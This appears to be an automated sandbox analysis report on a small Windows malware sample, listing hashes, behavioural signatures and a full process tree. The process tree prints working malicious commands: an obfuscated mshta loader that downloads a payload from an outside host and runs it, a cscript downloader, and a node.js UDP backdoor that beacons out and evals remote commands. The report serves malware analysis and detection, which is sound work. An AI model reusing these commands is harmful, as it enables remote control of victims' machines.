Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210408 -
submitted
28-06-2021 08:25
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210628-100147.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210628-100147.exe
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Size
2KB
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MD5
af8ae6c1f2859cc139cd176a6656a855
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SHA1
161e2d577b418eaa94bf1959a634956b75d7922b
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SHA256
22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7
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SHA512
a80672ea1f49ebaeaf5b850377ee346e7953bf6379a79db91b826ba2249a66424b0f1be189351dc86088ff9efd72142a46f6d4bff2c5dc7271a4db22c10bcd1e
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 1296 mshta.exe 3 660 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1668 node.exe -
Loads dropped DLL 1 IoCs
pid Process 848 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1068 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1632 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1720 ipconfig.exe 580 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 868 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\f3d94a3f00defacf:ads node.exe File created C:\ProgramData\DNTException\node.exe:48d2e125e14e9aecc538fe8faabddfba node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1668 node.exe 1668 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1632 tasklist.exe Token: SeIncreaseQuotaPrivilege 1724 wmic.exe Token: SeSecurityPrivilege 1724 wmic.exe Token: SeTakeOwnershipPrivilege 1724 wmic.exe Token: SeLoadDriverPrivilege 1724 wmic.exe Token: SeSystemProfilePrivilege 1724 wmic.exe Token: SeSystemtimePrivilege 1724 wmic.exe Token: SeProfSingleProcessPrivilege 1724 wmic.exe Token: SeIncBasePriorityPrivilege 1724 wmic.exe Token: SeCreatePagefilePrivilege 1724 wmic.exe Token: SeBackupPrivilege 1724 wmic.exe Token: SeRestorePrivilege 1724 wmic.exe Token: SeShutdownPrivilege 1724 wmic.exe Token: SeDebugPrivilege 1724 wmic.exe Token: SeSystemEnvironmentPrivilege 1724 wmic.exe Token: SeRemoteShutdownPrivilege 1724 wmic.exe Token: SeUndockPrivilege 1724 wmic.exe Token: SeManageVolumePrivilege 1724 wmic.exe Token: 33 1724 wmic.exe Token: 34 1724 wmic.exe Token: 35 1724 wmic.exe Token: SeIncreaseQuotaPrivilege 1724 wmic.exe Token: SeSecurityPrivilege 1724 wmic.exe Token: SeTakeOwnershipPrivilege 1724 wmic.exe Token: SeLoadDriverPrivilege 1724 wmic.exe Token: SeSystemProfilePrivilege 1724 wmic.exe Token: SeSystemtimePrivilege 1724 wmic.exe Token: SeProfSingleProcessPrivilege 1724 wmic.exe Token: SeIncBasePriorityPrivilege 1724 wmic.exe Token: SeCreatePagefilePrivilege 1724 wmic.exe Token: SeBackupPrivilege 1724 wmic.exe Token: SeRestorePrivilege 1724 wmic.exe Token: SeShutdownPrivilege 1724 wmic.exe Token: SeDebugPrivilege 1724 wmic.exe Token: SeSystemEnvironmentPrivilege 1724 wmic.exe Token: SeRemoteShutdownPrivilege 1724 wmic.exe Token: SeUndockPrivilege 1724 wmic.exe Token: SeManageVolumePrivilege 1724 wmic.exe Token: 33 1724 wmic.exe Token: 34 1724 wmic.exe Token: 35 1724 wmic.exe Token: SeDebugPrivilege 580 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1996 wrote to memory of 1296 1996 usfive_20210628-100147.exe 25 PID 1996 wrote to memory of 1296 1996 usfive_20210628-100147.exe 25 PID 1996 wrote to memory of 1296 1996 usfive_20210628-100147.exe 25 PID 1996 wrote to memory of 1296 1996 usfive_20210628-100147.exe 25 PID 1296 wrote to memory of 1980 1296 mshta.exe 27 PID 1296 wrote to memory of 1980 1296 mshta.exe 27 PID 1296 wrote to memory of 1980 1296 mshta.exe 27 PID 1296 wrote to memory of 1980 1296 mshta.exe 27 PID 1980 wrote to memory of 660 1980 cmd.exe 29 PID 1980 wrote to memory of 660 1980 cmd.exe 29 PID 1980 wrote to memory of 660 1980 cmd.exe 29 PID 1980 wrote to memory of 660 1980 cmd.exe 29 PID 1980 wrote to memory of 1624 1980 cmd.exe 31 PID 1980 wrote to memory of 1624 1980 cmd.exe 31 PID 1980 wrote to memory of 1624 1980 cmd.exe 31 PID 1980 wrote to memory of 1624 1980 cmd.exe 31 PID 1980 wrote to memory of 848 1980 cmd.exe 33 PID 1980 wrote to memory of 848 1980 cmd.exe 33 PID 1980 wrote to memory of 848 1980 cmd.exe 33 PID 1980 wrote to memory of 848 1980 cmd.exe 33 PID 848 wrote to memory of 1668 848 cscript.exe 34 PID 848 wrote to memory of 1668 848 cscript.exe 34 PID 848 wrote to memory of 1668 848 cscript.exe 34 PID 848 wrote to memory of 1668 848 cscript.exe 34 PID 1668 wrote to memory of 1348 1668 node.exe 37 PID 1668 wrote to memory of 1348 1668 node.exe 37 PID 1668 wrote to memory of 1348 1668 node.exe 37 PID 1668 wrote to memory of 1348 1668 node.exe 37 PID 1668 wrote to memory of 1520 1668 node.exe 38 PID 1668 wrote to memory of 1520 1668 node.exe 38 PID 1668 wrote to memory of 1520 1668 node.exe 38 PID 1668 wrote to memory of 1520 1668 node.exe 38 PID 1668 wrote to memory of 1068 1668 node.exe 39 PID 1668 wrote to memory of 1068 1668 node.exe 39 PID 1668 wrote to memory of 1068 1668 node.exe 39 PID 1668 wrote to memory of 1068 1668 node.exe 39 PID 1668 wrote to memory of 1788 1668 node.exe 40 PID 1668 wrote to memory of 1788 1668 node.exe 40 PID 1668 wrote to memory of 1788 1668 node.exe 40 PID 1668 wrote to memory of 1788 1668 node.exe 40 PID 1668 wrote to memory of 1368 1668 node.exe 41 PID 1668 wrote to memory of 1368 1668 node.exe 41 PID 1668 wrote to memory of 1368 1668 node.exe 41 PID 1668 wrote to memory of 1368 1668 node.exe 41 PID 1668 wrote to memory of 1632 1668 node.exe 42 PID 1668 wrote to memory of 1632 1668 node.exe 42 PID 1668 wrote to memory of 1632 1668 node.exe 42 PID 1668 wrote to memory of 1632 1668 node.exe 42 PID 1668 wrote to memory of 1724 1668 node.exe 44 PID 1668 wrote to memory of 1724 1668 node.exe 44 PID 1668 wrote to memory of 1724 1668 node.exe 44 PID 1668 wrote to memory of 1724 1668 node.exe 44 PID 1668 wrote to memory of 1720 1668 node.exe 45 PID 1668 wrote to memory of 1720 1668 node.exe 45 PID 1668 wrote to memory of 1720 1668 node.exe 45 PID 1668 wrote to memory of 1720 1668 node.exe 45 PID 1668 wrote to memory of 1624 1668 node.exe 46 PID 1668 wrote to memory of 1624 1668 node.exe 46 PID 1668 wrote to memory of 1624 1668 node.exe 46 PID 1668 wrote to memory of 1624 1668 node.exe 46 PID 1668 wrote to memory of 580 1668 node.exe 47 PID 1668 wrote to memory of 580 1668 node.exe 47 PID 1668 wrote to memory of 580 1668 node.exe 47 PID 1668 wrote to memory of 580 1668 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1788 attrib.exe 1368 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210628-100147.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210628-100147.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();47;y=unescape('%317%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%388').split('~');172;try{x='WinHttp';134;x=new ActiveXObject(x+'.'+x+'Request.5.1');197;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);62;x.send();226;y='ipt.S';39;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};20;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624868731783.txt & cscript /nologo /e:jscript get1624868731783.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2897f3955%26b%3Ddf125d21" node.cab & expand node.cab node.exe & del get1624868731783.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624868731783.txt & cscript /nologo /e:jscript get1624868731783.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27897f3955%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624868731783.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624868731783.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2897f3955%26b%3Ddf125d21" node.cab4⤵
- Blocklisted process makes network request
PID:660
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1624
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624868731783.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27897f3955%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:848 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27897f3955%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1348
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1520
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1068
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1788
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1368
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1632
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1724
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1720
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1624
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:580
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:868
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